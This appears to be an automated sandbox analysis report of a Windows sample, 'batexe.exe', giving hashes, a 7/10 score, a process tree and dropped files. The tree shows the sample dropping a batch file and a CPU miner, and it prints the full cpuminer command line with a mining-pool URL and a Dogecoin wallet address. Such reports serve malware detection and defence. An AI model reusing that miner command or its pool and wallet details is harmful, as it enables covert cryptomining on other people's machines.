73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 15:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4424	b2e.exe
3832	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3832	cpuminer-sse2.exe
3832	cpuminer-sse2.exe
3832	cpuminer-sse2.exe
3832	cpuminer-sse2.exe
3832	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1792-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 4424	1792	batexe.exe	73
PID 1792 wrote to memory of 4424	1792	batexe.exe	73
PID 1792 wrote to memory of 4424	1792	batexe.exe	73
PID 4424 wrote to memory of 5104	4424	b2e.exe	74
PID 4424 wrote to memory of 5104	4424	b2e.exe	74
PID 4424 wrote to memory of 5104	4424	b2e.exe	74
PID 5104 wrote to memory of 3832	5104	cmd.exe	77
PID 5104 wrote to memory of 3832	5104	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BECC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe

Filesize
2.4MB

MD5
ee04099ca04456aa3ec3263fc8478095

SHA1
dc89b1634e0fff0e8203cfcfe26600eb97514e7d

SHA256
97d4085421fc14574d853c4bd8eef8f0a70aad1666fba5a51549d26abfc63dd3

SHA512
6bbcf992e0a1d670a0e861ceefcc03bec5cd5b1f9082ccd4324cca368665b135d63a332cf76bea1ffbadb409078c83d8f31c02141c6d1d053c7ceb937b68531e

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe

Filesize
1.9MB

MD5
db5c09852a9dce74cc260d402b8487bb

SHA1
7f53cb14088c23cb2140e52b245535100dfbea85

SHA256
e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

SHA512
83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

Download Submit
C:\Users\Admin\AppData\Local\Temp\BECC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
192KB

MD5
01f228e3eadcf394f8e57348314c7104

SHA1
71571d5d327678688e7c77f19509a17781ae17d0

SHA256
c38983cab3c0de4a73e61d6ed2abcee2567becbfca4b1714d3b03389556880f6

SHA512
eb40b33112cf913383b22dbf4d2977e4c8cee5123620efea1b10d0e5e5d1495e37b12c5f2da0cc778af2044d6f7667ed7b009c019f7e03cdf5f060623f4ce9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
512KB

MD5
a879c5fd4613dca566d5b1a782690dd5

SHA1
41c6063b0f0dee953e99713a5326856b55e08366

SHA256
3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20

SHA512
e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
576KB

MD5
46e1c7531774dee6a7125727095ea354

SHA1
2248bc2bd821aded068d2e5e55f5e7271b50ab91

SHA256
cecc229ea9e416207638b67d03bc6846fa188a14fe1c9e75028afb48ff4e2081

SHA512
fa9dc86df3e0a8f7b2579785c03717a43eec14beab8ca3176f73d4ecb0716d047241ab30cd53518e7acd645e9f8282a20552a6fa33824c34afc5c5210cc69f2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
512KB

MD5
a3dea3777f14f1235327b648410a9406

SHA1
9ab139a0c947962b3c471c36e8b9cca4d750c889

SHA256
ff432926dd375c44e9a86cc2520c46e66be2d212e35fb73f16ebc4b48b98b6d1

SHA512
b6cacf9e5d8adebdb3c4ae9b6eaddda6a90d9eae32bdc4cf6eb36ad7cf14d02486ac0c32942e3bc504e943a544fa71a6c9e2fec8fb07c456290646107b4edea2

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
640KB

MD5
ac7d1c3bb4d3c69372907331267c1ee7

SHA1
fa82689799785ef9ab4c304b1c1a6d2d9a961928

SHA256
d22689ab67764158df7b19e8d78ec1393899f21e390f469a300975a31106c3aa

SHA512
0d541661060d7c5eed486ea0377142e7d3883b3c0935114679af28bcae0b1767585fe06328955cf59aab4fe3d4acfba525dbc42675fbce80b7d0b2300784d125

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
320KB

MD5
e63bf5df87e2ea807dc353cc5aa9aab1

SHA1
69fc94bbebe878711cb133c3a1affb80c0bdecff

SHA256
2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

SHA512
70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
320KB

MD5
e748e3357af6e4674ff8962691273b0d

SHA1
0acfc30d68a1ef7c6790a79270864448f70f0aa8

SHA256
84ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14

SHA512
0bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
448KB

MD5
9d1a04f05f75671a5a3ffeb995176c52

SHA1
a45018bb6a5dd52b310c1eb77262354365925a76

SHA256
c777e9d786f5d1d13f78a925453804bf53ee430a38f893f115c2d1ac0f2f07ff

SHA512
d19ea63c26c1d41edd5947d0c5ae70e2461c876563c2baeb1fd4a3986254f7919f8d4c32a9d6b9f4c51c4d5a23ffa90a2011d293a106a0a8813295b2bee06e1f

Download Submit
memory/1792-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3832-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3832-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3832-42-0x00000000506E0000-0x0000000050778000-memory.dmp

Filesize
608KB

Download
memory/3832-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3832-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3832-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4424-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4424-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download